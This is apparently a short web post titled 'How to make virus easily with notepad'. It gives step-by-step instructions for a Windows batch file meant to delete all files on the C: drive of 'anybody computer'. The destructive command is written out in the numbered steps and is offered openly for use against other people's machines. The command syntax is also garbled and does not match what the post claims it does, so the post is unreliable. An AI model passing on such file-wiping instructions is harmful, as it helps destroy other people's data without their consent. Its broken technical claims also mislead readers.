Flush anybody computer. Make a virus to flush anybody computer. if want to delete all files of anybody computer just read this post How to make virus easily with notepad
How to make virus :-
1.Just open a notepad.
2.Type :
{ @Echo off
Del C: *.* |y }
3. Save this file as .bat file (CTRL+SHIFT+S).
4.Run this bat file.
5.It will erase your c:/ Drive .
Note : No recovery directly you have to install new windows and all data will erase from c :/ drive . So BE CAREFULL